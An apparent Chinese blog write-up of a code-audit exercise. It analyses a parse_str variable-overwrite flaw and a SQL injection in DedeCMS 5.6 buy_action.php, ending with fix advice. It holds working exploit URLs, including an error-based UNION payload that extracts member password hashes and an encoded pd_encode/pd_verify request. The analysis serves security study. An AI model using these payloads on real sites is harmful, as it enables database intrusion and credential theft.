【漏洞练习-Day7】DedeCmsV5.6 SQL注入漏洞

开始练习【红日团队】的PHP-Audit-Labs 代码审计 Day7
链接:https://github.com/hongriSec/PHP-Audit-Labs
感兴趣的同学可以去练习练习
预备知识:
内容题目均来自 PHP SECURITY CALENDAR 2017
Day 7 - Bells代码如下:

function getUser($id) {
  global $config, $db;
  if (!is_resource($db)) {
    $db = new MySQLi(
      $config['dbhost'],
      $config['dbuser'],
      $config['dbpass'],
      $config['dbname']
    );
  }
  $sql = "SELECT username FROM users WHERE id = ?";
  $stmt = $db->prepare($sql);
  $stmt->bind_param('i', $id);
  $stmt->bind_result($name);
  $stmt->execute();
  $stmt->fetch();
  return $name;
}

$var = parse_url($_SERVER['HTTP_REFERER']);
parse_str($var['query']);
$currentUser = getUser($id);
echo '

'.htmlspecialchars($currentUser).'

'
;

漏洞解析 :
这一关其实是考察变量覆盖漏洞,⽽导致这⼀漏洞的发⽣则是不安全的使⽤ parse_str函数。 由于 第21行 中的 parse_str()调用,其行为非常类似于注册全局变量。我们通过提交类似 config[dbhost]=127.0.0.1这样类型的数据,这样因此我们可以控制 getUser()第5到8行的全局变量$config 。如果目标存在登陆验证的过程,那么我们就可以通过变量覆盖的方法,远程连接我们自己的mysql服务器,从而绕过这块的登陆验证,进而进行攻击。我们来看看parse_str 函数的定义:

parse_str() 函数:

(PHP 4, PHP 5, PHP 7)

功能:

parse_str() 函数把查询字符串解析到变量中。

定义:
parse_str(string,array)

注释:如果未设置 array 参数,由该函数设置的变量将覆盖已存在的同名变量。
注释php.ini文件中的magic_quotes_gpc 设置影响该函数的输出。如果已启用,那么在 parse_str()解析之前,变量会被addslashes() 转换。

说明:
参数 描述
string 必需。规定要解析的字符串。
array 可选。规定存储变量的数组名称。该参数指示变量存储到数组中。

范例:


parse_str("name=Peter&age=43",$myArray);
print_r($myArray);
?>

结果:

Array ( [name] => Peter [age] => 43 )

实例分析:

本次实例分析,我们选取的是DedeCmsV5.6版本。
织梦内容管理系统(dedecms) 以简单、实用、开源而闻名,是国内最知名的PHP开源网站管理系统,也是使用用户最多的PHP类cms系统,在经历多年的发展,目前的版本无论在功能,还是在易用性方面,都有了长足的发展和进步,DedeCms免费版的主要目标用户锁定在个人站长,功能更专注于个人网站或中小型门户的构建,当然也不乏有企业用户和学校等在使用该系统。
该版本的buy_action.php处存在SQL注入漏洞,这里其实和 parse_str 有很大关系。

漏洞POC 本站提供安全工具、程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

漏洞分析:

补丁分析:

官网于20140225发布了V5.7.36正式版0225常规更新补丁,这里面的改动一共四个文件 dede/sys_info.phpdede/templets/sys_info.htminclude/uploadsafe.inc.phpmember/buy_action.php。这里我们关注一下member/buy_action.php这个文件的改动情况。
【漏洞练习-Day7】DedeCmsV5.6 SQL注入漏洞_第1张图片
diff一下补丁和源文件:(这里采用sublime的FileDiffs插件来进行diff对比
【漏洞练习-Day7】DedeCmsV5.6 SQL注入漏洞_第2张图片
改动部分,主要针对加密函数的强度进行了加强,所以做一个推断这个漏洞应该是由于 mchStrCode 这个编码方法造成的。在读这个函数时发现,如果在我们知道 cfg_cookie_encode的情况下,被编码字符串是可以被逆推出来的。

这个漏洞在乌云上爆出来的时候,是sql注入,所以我推断可能在调用这个编码函数进行解码的地方,解码之后可能没有任何过滤和绕过,又或者可以可绕过过滤,导致sql语句拼接写入到了数据库,而且这里解码的函数可以被攻击者控制,从而导致了SQL注入的产生。

原理分析:

我们全局搜索一下哪些地方调用了这个 mchStrCode函数,发现有三处:
【漏洞练习-Day7】DedeCmsV5.6 SQL注入漏洞_第3张图片
buy_action.php下的第17行 (上图)的parse_str 引起了我的兴趣,看一下这一小段代码做了些什么(下面第4行处):

if(isset($pd_encode) && isset($pd_verify) && md5("payment".$pd_encode.$cfg_cookie_encode) == $pd_verify)
{

	parse_str(mchStrCode($pd_encode,'DECODE'),$mch_Post);
	foreach($mch_Post as $k => $v) $$k = $v;
	$row  = $dsql->GetOne("SELECT * FROM #@__member_operation WHERE mid='$mid' And sta=0 AND product='$product'");
	if(!isset($row['buyid']))
	{
		ShowMsg("请不要重复提交表单!", 'javascript:;');
		exit();
	}
	$buyid = $row['buyid'];

}else{
	$buyid = '';
	$mtime = time();	
	$buyid = 'M'.$mid.'T'.$mtime.'RN'.mt_rand(100,999);
	//删除用户旧的未付款的同类记录
	if(!empty($product))	
	{
		$dsql->ExecuteNoneQuery("Delete From #@__member_operation where mid='$mid' And sta=0 And product='$product'");
	}
}

if(empty($product))
{
	ShowMsg("请选择一个产品!", 'javascript:;');
	exit();
}

我们重点来看if语句开始时的三行代码, mchStrCode是我们在上一小节通过对比补丁发现变化的函数。也就是说,这个函数可以编码或者解码用户提交的数据,而且 $pd_encode也是我们可以控制的变量。

parse_str 方法将解码后$pd_encode中的变量放到 $mch_Post数组中,之后的foreach语句存在明显的变量覆盖,将$mch_Post 中的key定义为变量,同时将key所对应的value赋予该变量。然后,再向下就是执行SQL查询了。

在这个过程中存在一个明显的疏忽是,没有对定义的 key进行检查,导致攻击者可以通过 mschStrCode对攻击代码进行编码,从而绕过GPC和其他过滤机制,使攻击代码直达目标。我们再来看看mchStrCode函数的代码buy_action.php下的第147-160行

function mchStrCode($string,$action='ENCODE')
{
	$key	= substr(md5($_SERVER["HTTP_USER_AGENT"].$GLOBALS['cfg_cookie_encode']),8,18);
	$string	= $action == 'ENCODE' ? $string : base64_decode($string);
	$len	= strlen($key);
	$code	= '';
	for($i=0; $i<strlen($string); $i++)
	{
		$k		= $i % $len;
		$code  .= $string[$i] ^ $key[$k];
	}
	$code = $action == 'DECODE' ? $code : base64_encode($code);
	return $code;
}

我们要注意第三行$key值的获取方法:

$key= substr(md5($_SERVER["HTTP_USER_AGENT"].$GLOBALS['cfg_cookie_encode']),8,18);

这里将$_SERVER["HTTP_USER_AGENT"]$GLOBALS['cfg_cookie_encode'] 进行拼接,然后进行md5计算之后取前 18 位字符,其中的 $_SERVER["HTTP_USER_AGENT"]是浏览器的标识,可以被我们控制,关键是这个 $GLOBALS['cfg_cookie_encode']是怎么来的。通过针对补丁文件的对比,发现了/install/index.php
【漏洞练习-Day7】DedeCmsV5.6 SQL注入漏洞_第4张图片
$rnd_cookieEncode字符串的生成同样是加强了强度, $rnd_cookieEncode 字符串最终也就是前面提到的$GLOBALS['cfg_cookie_encode']
【漏洞练习-Day7】DedeCmsV5.6 SQL注入漏洞_第5张图片
看看源代码里是怎么处理这个的 $rnd_cookieEncode变量的。

  $rnd_cookieEncode = chr(mt_rand(ord('A'),ord('Z'))).chr(mt_rand(ord('a'),ord('z'))).chr(mt_rand(ord('A'),ord('Z'))).chr(mt_rand(ord('A'),ord('Z'))).chr(mt_rand(ord('a'),ord('z'))).mt_rand(1000,9999).chr(mt_rand(ord('A'),ord('Z')));

这段代码生成的加密密匙很有规律,所有密匙数为26^6*(9999-1000)=2779933068224,把所有可能的组合生成字典,用passwordpro暴力跑MD5或者使用GPU来破解,破解出md5过的密匙也花不了多少时间。 当然这个是完全有可能的,但是很耗时间,所以下一步看看有没有办法能够绕过这个猜测的过程,让页面直接回显回来。

漏洞利用:

虽然整个漏洞利用原理很简单,但是利用难度还是很高的,关键点还是如何解决这个 mchStrCodemchStrCode这个函数的编码过程中需要知道网站预设的cfg_cookie_encode,而这个内容在用户界面只可以获取它的MD5值。虽然cfg_cookie_encode的生成有一定的规律性,我们可以使用MD5碰撞的方法获得,但是时间成本太高,感觉不太值得。所以想法是在什么地方可以使用 mchStrCode加密可控参数,并且能够返回到页面中。所以搜索一下全文哪里调用了这个函数。
于是,我们在 member/buy_action.php104行找到了一处加密调用:$pr_encode = str_replace('=', '', mchStrCode($pr_encode));我们来看一下这个分支的整个代码:

if(!isset($paytype))
{	
	$inquery = "INSERT INTO #@__member_operation(`buyid` , `pname` , `product` , `money` , `mtime` , `pid` , `mid` , `sta` ,`oldinfo`)
   VALUES ('$buyid', '$pname', '$product' , '$price' , '$mtime' , '$pid' , '$mid' , '0' , '$ptype');
	";
	$isok = $dsql->ExecuteNoneQuery($inquery);
	if(!$isok)
	{
		echo "数据库出错,请重新尝试!".$dsql->GetError();
		exit();
	}
	if($price=='')
	{
		echo "无法识别你的订单!";
		exit();
	}
	
	//获取支付接口列表
	$payment_list = array();
	$dsql->SetQuery("SELECT * FROM #@__payment WHERE enabled='1' ORDER BY rank ASC");
	$dsql->Execute();
	$i = 0 ;
	while($row = $dsql->GetArray())
	{
		$payment_list[] = $row;
		$i++;
	}
	unset($row);

	$pr_encode = '';
	foreach($_REQUEST as $key => $val)
	{
		$pr_encode .= $pr_encode ? "&$key=$val" : "$key=$val";
	}
	
	$pr_encode = str_replace('=', '', mchStrCode($pr_encode));
	
	$pr_verify = md5("payment".$pr_encode.$cfg_cookie_encode);
	
	$tpl = new DedeTemplate();
	$tpl->LoadTemplate(DEDEMEMBER.'/templets/buy_action_payment.htm');
	$tpl->Display();
	
}

这里的 第41行
有一行 $tpl->LoadTemplate(DEDEMEMBER.'/templets/buy_action_payment.htm');/templets/buy_action_payment.htm中,我找到了页面上回显之前加密的 $pr_encode$pr_verify
【漏洞练习-Day7】DedeCmsV5.6 SQL注入漏洞_第6张图片
通过这部分代码,我们可以通过[cfg_dbprefix=SQL注入]的提交请求,进入这个分支,让它帮助我来编码[cfg_dbprefix=SQL注入],从而获取相应的pr_encodepr_verify 。 但是 install/common.inc.php文件对用户提交的内容进行了过滤,凡提交的值以cfg、GLOBALS、GET、POST、COOKIE 开头都会被拦截,如下第11行。

function _RunMagicQuotes(&$svar)
{
    if(!get_magic_quotes_gpc())
    {
        if( is_array($svar) )
        {
            foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
        }
        else
        {
            if( strlen($svar)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE)#',$svar) )
            {
              exit('Request var not allow!');
            }
            $svar = addslashes($svar);
        }
    }
    return $svar;
}

这个问题的解决就利用到了$REQUEST 内容与 parse_str函数内容的差异特性。我们url传入的时候通过**[a=1&b=2%26c=3]这样的提交时, $REQUEST解析的内容就是 [a=1,b=2%26c=3]。而通过上面代码的遍历进入parse_str函数的内容则是 [a=1&b=2&c=3] ,因为 parse_str 函数会针对传入进来的数据进行解码,所以解析后的内容就变成了[a=1,b=2,c=3]**。所以可以通过这种方法绕过common.inc.php文件对于参数内容传递的验证。

漏洞利用:

访问 buy_action.php文件,使用如下参数:

http://10.211.55.5/PHPcode/DedeCmsV56/uploads/member/buy_action.php?product=card&pid=1&a=1%26cfg_dbprefix=dede_member_operation WHERE 1=@'/!12345union/ select 1,2,3,4,5,6,7,8,9,10 FROM (SELECT COUNT(),CONCAT( (SELECT pwd FROM dede_member LIMIT 0,1),FLOOR(RAND(0)2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a %23

【漏洞练习-Day7】DedeCmsV5.6 SQL注入漏洞_第7张图片
其中 productpid参数是为了让我们进入 mchStrCode对传入数据进行编码的分支,参数 a是为了配合上面提到的差异性而随意添加的参数。从cfg_dbprefix开始,便是真正的SQL注入攻击代码。 访问该URL后,在页面源码中找到pd_encodepd_verify 字段的值,由于用户 CookieUser-Agent不同,所获取的值也不同,然后在页面上找到了pd_encodepd_verify的值,如下图:
【漏洞练习-Day7】DedeCmsV5.6 SQL注入漏洞_第8张图片
最后再构造一下payload就好了:

http://10.211.55.5/PHPcode/DedeCmsV56/uploads/member/buy_action.php?pd_encode=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&pd_verify=fa4459715b84db370ea2eaf0f4064952

再次提醒,因为每个人的cookieUser-Agent都不一样,所以生成的也不一样,建议大家自己生成一下。

修复建议:

为了解决变量覆盖问题,可以在注册变量前先判断变量是否存在,如果使用 extract 函数可以配置第二个参数是 EXTR_SKIP。使用 parse_str函数之前先自行通过代码判断变量是否存在。

这里提供一个demo漏洞样例代码,以及demo的修复方法。

demo漏洞
【漏洞练习-Day7】DedeCmsV5.6 SQL注入漏洞_第9张图片
demo漏洞修复
【漏洞练习-Day7】DedeCmsV5.6 SQL注入漏洞_第10张图片

结语

再次感谢【红日团队】

DedeCMS最新通杀注入(buy_action.php)漏洞分析

你可能感兴趣的:(技术)